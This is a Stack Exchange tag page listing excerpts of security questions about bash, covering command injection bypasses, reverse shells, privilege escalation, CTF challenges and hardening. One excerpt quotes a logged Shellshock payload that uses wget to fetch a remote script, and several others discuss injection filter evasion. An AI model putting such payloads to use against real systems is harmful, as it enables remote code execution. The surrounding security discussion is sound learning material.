Stack Exchange Network

Stack Exchange network consists of 175 Q&A communities including Stack Overflow, the largest, most trusted online community for developers to learn, share their knowledge, and build their careers.

Visit Stack Exchange

Questions tagged [bash]

The Bourne-again shell (Bash) is a unix shell. It lets the user run commands on the host machine in as a text based program. Questions using this tag should either be related to vulnerabilities of bash or proper use of specific commands.

6
votes
1answer
85 views

SH Write a file with contents without any special chars

So, I've got a challenge and it's as follows. You can access a normal shell(sh) on clean RHEL 6 installation. Write arbitrary content to file.txt, but without the following characters. # & \ +...
0
votes
1answer
60 views

Command injection with brace expansion

Does anyone have more experience with bash brace expansions when dealing with command injections that filters whitespaces? I am encountering most likely not a filtering engine, but an bad parsing ...
0
votes
3answers
999 views

Leveraging curl to spawn a shell

So I'm doing a HTB challenge where I have leveraged the targets box use of reading a file that sets a url for curl in order to transverse down the directory and display the root flag in a report that ...
1
vote
2answers
53 views

Capture Response Attempting to Connect to Open SSH

I want to be able to attempt to connect to a host using password authentication and store the server's response in a variable. This is to see what hosts in my list accept passwords for their ssh ...
2
votes
2answers
919 views

Is it possible to execute a local file or code from cURL?

I wonder if it is possible to execute bash code or a local file from cURL, that is, using the following syntax: curl "local file" I was looking for possible solutions and found that to read the ...
3
votes
2answers
547 views

The way to determine IV for AES encryption, possible security problems with this approach

I am trying to make a folder encryption with maximum automation (except password input). Inside a bash script I do the following: echo $RANDOM | md5sum | cut -d' ' -f1 > iv and then using it: ...
3
votes
1answer
128 views

What do you search for in Open Source code to be sure there isn't malicious code?

I realize the answers will be language specific, but I am curious what terms you would look for when checking something out on Github? I was looking for a remote administration tool that I could use ...
34
votes
5answers
5k views

Bypassing the command/script specified in /etc/passwd

Consider the following line from /etc/passwd: sadeq:x:1000:1000:Mohammad Sadeq Dousti,,,:/home/sadeq:/bin/custom-script.sh The last part, /bin/custom-script.sh, shows the command/script to be run ...
0
votes
0answers
27 views

How and in what scopes can Linux Environment Variables be secured? [duplicate]

I read an interesting article about securely inputing secret info into a command using pass (a wrapper for GnuPG) and environment variables in Linux; but in order to do this one needs to use ...
1
vote
1answer
81 views

What can an attacker do in this scenario? (unwritable bashrc, profile, etc.) [closed]

Scenario: Typical Linux desktop setup: unprivileged user but with sudo capabilities to do basically everything For the sake of argument let's forget about X11 and its way to allow trivial keyloggers, ...
6
votes
2answers
440 views

Do sudo and .profile/.bashrc enable trivial privilege escalation?

First of all, let me mention that I’m assuming a configuration as set up by current Linux desktop distributions (e. g. Debian, Fedora). I’m sure that there are methods which, if implemented, would ...
1
vote
1answer
54 views

Bash wildcards - Manipulate globbing to delete arbitrary files

I am currently auditing a plugin and have the following situation (simplified for example purposes): <?php $post_id = false; $absolute_path = "/var/www/html/wordpress/cache"; $extension = ".min....
1
vote
0answers
46 views

Input on a somewhat controversial backup solution using shell based SFTP

I've been tinkering with a backup solution in my spare time, made to simplify doing backups as much as possible. It's written in bash. The solution consists of 2 files, one placed on a backup server, ...
5
votes
2answers
2k views

WireGuard: what's wrong with this automatic IP assignment

WireGuard is extremely simple and fast kernel-space VPN based on modern cryptography. I want to use it in production and need automatic IP assignment for new peers. The project provides two short ...
-2
votes
2answers
185 views

Creating portable bash terminal & cmd to USB [closed]

Developing my toolkit and I want to have a safe edition of cmd.exe and bash on a usb. Why? These can be tampered with by attackers and I want a version I know is safe from manipulation. Any ...
4
votes
1answer
409 views

Run bash command when spaces and '`/\<>?&| are filtered?

I have some PHP code that run bash commands, and it has a bug that may make it vulnerable to remote code execution. The executed command would be $(id), but if I execute any other command like ls -la ...
5
votes
5answers
506 views

Should I remove bash from my Docker web app container?

Suppose I am a dev and want to harden my web application environment. If my application does not make use of binaries like sh, ls, find, echo etc. should I just remove them from my image?
3
votes
2answers
211 views

Safely decrypting an unsolicited/untrusted PGP message

I am accepting public security vulnerability reports for my website, and I publish my personal PGP (GPG) key to encourage people to encrypt their communications. Upon receiving an encrypted message, ...
0
votes
1answer
286 views

Is it possible to “encode” a bash sentence?

I was recently solving a CTF challenge that I found quite strange, first of all I have been given a chain of characters that no matter how hard I try to find an answer I can not find it, I am going to ...
2
votes
2answers
71 views

Bash: Why would sourcing a file be less safe than bashing it (executing in another session)?

Bash: Why would sourcing a file be less safe than bashing it (executing in another session)? Is it the case, or I completely misunderstood? I've heard in the the context of sourcing a sub-script ...
3
votes
2answers
2k views

Turned on cgi.fix_pathinfo still “dangerous” in Nginx?

In this article in digitalocean.com Justin Ellingwood recommends to turn off cgi.fix_pathinfo: Inside, we need to find a section that configures the cgi.fix_pathinfo behavior. It will be ...
2
votes
3answers
220 views

Why linux is used for security? [duplicate]

As a course of my School, I am starting to study Information Security. And I have to use GNU Linux OS using VMWare. My questions are: Why I need to use a linux distro other than Windows OS? On linux, ...
3
votes
1answer
249 views

Security implications of using Bash script as a SSH login shell

I have a fairly simple monitoring implementation, let's say that the monitoring server connects to a target through SSH via key authentication, and fetches information according to a script set up as ...
0
votes
1answer
53 views

Implications of running script as argument to shell

Context for the question is the following comment on one of my answers: @SergiyKolodyazhnyy Prefacing a script name with /bin/bash or even just bash is also a common way to solve the lack of ...
1
vote
1answer
683 views

Metasploit automate actions when reverse shell connects

I have used metasploit's netgear_wnr2000_rce to gain root shell access on a linux embedded device (no option for payloads). I am currently automating the process, and want to run a bash script when ...
-1
votes
1answer
1k views

Dirty COW exploit by Bash

I've found many exploits for Dirty COW vulnerability with many methods that written in C programming language. But I want to test this vulnerability on a target that doesn't have gcc as C compiler (...
1
vote
0answers
104 views

/bin/sh orphaned link - have I been hacked?

Just today I found that when I log in to my linux server, I receive an error message: -bash: /usr/bin/lesspipe: /bin/sh: bad interpreter: No such file or directory This seems to be because my /bin/...
-2
votes
1answer
92 views

Shell Script to display network info [closed]

I need help with a shell script to display my current IP Address and MAC Address with a "|" in between them like this: IP Address: | MAC Address: So can this be done easily in a shell script?
4
votes
1answer
870 views

Reverse Bash Shell one liner

I know that when the following code is run a reverse bash shell is created from the victim's computer to the attacker's computer. Can someone please explain to me the significance of the number "196"? ...
7
votes
2answers
1k views

How do I track bash history cleanup?

I'd like to catch events when bash history is cleaned or some lines are deleted. Are there any best practices or auditing tools with this capability?
2
votes
2answers
458 views

Is it secure to type in sensitive data in bash / shell scripts

So lets say I have a .sh script and I have to input a password in it , will there be some kind of cache where the bash inputs are stored ? And if yes please tell me whre so I can ersase it . Would the ...
-1
votes
4answers
701 views

Does a Turing complete shell means equal secure?

I have heard that Linux is more secure than Windows. Is that true? I think they are equally secure because both has a Turing complete shell so if you management to do harm on one system, there is a ...
2
votes
0answers
1k views

system(“/bin/sh”) exits without waiting for user input [OverTheWire narnia0 challenge] [closed]

Problem : Why does system("/bin/sh") process exits immediately instead of waiting for user input? Code : int main(){ long val=0x41414141; char buf[20]; printf("Correct val's value from ...
2
votes
0answers
56 views

Vulnerabilities in Linux Memory Segments [closed]

I am somewhat new to mining memory and looking for plaintext/ciphertext so I thought I would reach out and ask you all some questions. First of all, I wrote a script that automatically dumps the ...
0
votes
1answer
6k views

How to securely store credentials in a bash variables?

I need to cache my user credentials in a shell script variable since they are required for multiple requests to a REST-API. It won't be stored in the bash script file itself: user is prompted to enter ...
0
votes
2answers
221 views

Full protection from shell-script injections (like a “Bash injection”) - Is it even possible?

Assume there's a website built with some FOSS CMS (like Drupal) and the websites' directory is owned and grouped by root (instead www-data as common in Apache in Nginx) and a friend of the site's ...
8
votes
1answer
595 views

Shellshock Exploit evidence - is this a successful attack

I was looking through logs today and noticed the following: 62.219.116.107 - - [26/Dec/2016:15:16:08 -0100] "GET / HTTP/1.0" 200 13501 "-" "() { :;}; /bin/bash -c \"wget http://[redacted]/bo.pl -O /...
0
votes
2answers
92 views

Publishing proxy server IP address on github

Is it safe to store proxy IP address and port in a shell config file on github? I see some people doing that and don't worry about it.
7
votes
1answer
1k views

List wireless stations around me

I'm looking to find a specific wireless user around me, I have his MAC address, I even have the channel he is on. I've tried iwlist peers, to no avail, as well as airodump. I have seen his mac pop up ...
1
vote
4answers
84 views

Is there a criteria for allowing or disallowing the execution of bash scripts as root with sudo?

What criteria could I take in order to to allow or disallow the execution of bash scripts with sudo as root? I know I should analyze the script but I have not enough time and I trust my developers. ...
1
vote
1answer
926 views

What does this malicious bash script do?

I found this script digging around on a friend's computer (Mac OSX El Capitan) today. It obviously looks malicious, and seems to be an install/setup script. I can see it moves files around and unpacks ...
0
votes
1answer
342 views

Does having /sbin/nologin mean I cannot start the /bin/sh executable?

While practicing exploitation on a lab, I managed to get the ability to execute php code which allowed me to execute system commands through shell_exec on a web server. The apache user has /sbin/...
5
votes
1answer
3k views

Why is `cd` restricted in rbash/restricted bash?

The bash manual says: A restricted shell behaves identically to bash with the exception that the following are disallowed or not performed: Changing directories with the cd builtin. Why is ...
2
votes
2answers
187 views

Way to combine encrypted tar and encrypted symmetric key with which tar was encrypted?

We are using Beaglebone Black (AM335x) based custom board, so for firmware upgrades of the board we will be using an encrypted firmware image. As you would have already guessed, we will be using ...
3
votes
1answer
4k views

Security of only allowing a few vetted commands using $SSH_ORIGINAL_COMMAND

Using a authorized_keys forced command with ssh and a wrapper-script like this: #!/usr/bin/env bash case "$SSH_ORIGINAL_COMMAND" in /var/lib/authorized-scripts/*) $SSH_ORIGINAL_COMMAND ;; ...
1
vote
0answers
45 views

How does text that is displayed with cat end up trying to execute in the Linux terminal? [duplicate]

Sometimes you accidentally "cat" a binary... only for your terminal to become utterly corrupted, ending up in another code page where all characters are unrecognizable, while your shell spits back at ...
0
votes
1answer
66 views

taking input from webform and piping into bash password prompt

I've been wanting to create a simple web application that would allow me to view certain text files that I've encryped with GnuPG residing on my webserver through any browser remotely. I've figured ...
2
votes
3answers
304 views

How does one securely create a MySQL database and user via the command line?

I'm making an app whose functionality includes creating a database and its user. This is accomplished like so: mysql -e "grant all on database.* to 'user'@'localhost' identified by '$PW';" $PW is ...
5
votes
0answers
117 views

Address of environment variable different for each directory

I'm writing a return-to-libc attack for a school project. My script retrieves the system(), exit() and shell addresses as follows (it's a sh script that calls some c programs): Create the environment ...
4
votes
4answers
15k views

How can I use netcat like ping?

How can we use the netcat (nc) to determine whether a particular machine is running web, mail or SSH services?